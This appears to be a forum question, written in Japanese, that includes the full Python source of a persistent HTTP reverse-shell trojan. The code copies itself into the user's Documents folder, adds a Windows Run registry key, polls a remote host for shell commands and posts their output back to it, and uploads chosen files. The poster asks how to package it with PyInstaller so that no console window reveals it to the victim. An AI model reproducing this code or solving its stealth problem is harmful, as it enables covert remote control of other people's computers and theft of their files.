私はPyinstallerのすべてのデバッグ手順を実行しましたが、ここでちょっとしたことをしているので、これに目を向けています。
いくつかの簡単なカスタムペンテストツールを作成してPython3に切り替えようとしています。現在、永続的なHTTPリバースシェルトロイの木馬を作成しています。完全なコードは次のとおりです。
import requests
import subprocess
import time
import os
import shutil
import winreg
path = os.getcwd().strip('\n')
null,userprof = subprocess.check_output('set USERPROFILE', shell=True).split(b'=')
destination = str(userprof.decode().strip('\n\r')) + '\\Documents\\' + 'persistence.exe'
if not os.path.exists(destination):
shutil.copyfile(path + '\persistence.exe', str(destination))
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Run",0,winreg.KEY_ALL_ACCESS)
winreg.SetValueEx(key,'RegUpdater',0,winreg.REG_SZ,destination)
key.Close()
while True:
req = requests.get('http://192.168.0.10')
command = req.text
if "terminate" in command:
break
elif 'grab' in command:
grab,path = command.split(" * ")
if os.path.exists(path):
url = 'http://192.168.0.10/store'
files = {'file': open(path, 'rb'),'path': path}
r = requests.post(url, files=files)
else:
post_response = requests.post(url='http://192.168.0.10',data='[-] Not able to find the file.')
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
post_response = requests.post(url='http://192.168.0.10', data=CMD.stdout.read())
post_response = requests.post(url='http://192.168.0.10', data=CMD.stderr.read())
time.sleep(3)
このスクリプトは、Pythonインタープリターで実行すると正常に実行されます。HTTP GETリクエストを使用して別のマシン上のサーバーに接続し直し、ユーザーのドキュメントのフォルダーにインストールすると同時に、永続化のための実行キーを設定します。その後、サーバー側でコマンドを実行でき、出力はPOST要求を介して送信されます。
明らかに、これをスタンドアロンEXEにコンパイルして真のトロイの木馬にしたいと思います。Pyinstallerのドキュメントで指定されている次のコマンドを使用して、これを実行できます。
pyinstaller --onefile persistence.py
これは問題なく機能し、スクリプトは端末から実行するかクリックするかに関わらず、以前と同様にエラーなしで実行されます。残念ながら、それは見逃すことのできない空のターミナルウィンドウも開きます。明らかに、これはトロイの木馬にとって望ましくない特性です。ユーザーの画面に別のウィンドウを表示したくありません。
以下は、コンソールウィンドウが開かないようにする必要があります。
pyinstaller --onefile --noconsole persistence.py
このコマンドはエラーなしで完了しますが、今回はスクリプトは実行されません。実行されるたびに、端末でクリックまたは実行されたかどうかに関係なく、「スクリプトの永続化の実行に失敗しました」というウィンドウがキックバックされます。
これを修正するために大量のデバッグを試みました。--debug allをfreezeコマンドに追加しても、識別できる有用な情報は提供されないようです。私はすべてGoogleとPyinstallerの問題を経験しており、サブプロセスモジュールの問題とSTDINとSTDOUTの処理方法を示すように見えるものをたくさん見ましたが、スクリプトとサブプロセスをいじくり回すことはありません。 Popen呼び出し(STDIN、STDOUT、およびSTDERRのリダイレクト)がこの問題を修正しているようです。私は常に「スクリプトの実行に失敗しました」をスローする実行可能ファイルになります。
私はpyinstallerの現在の開発バージョンを実行しています。パッキングせずに(ダイスなしで)試しました。また、スクリプト自体のコンソールウィンドウを手動で削除しようとしても成功しませんでした。
だから私はあなたたちに目を向けています。何か案は?ご清聴ありがとうございました。さらに情報が必要な場合はお知らせください。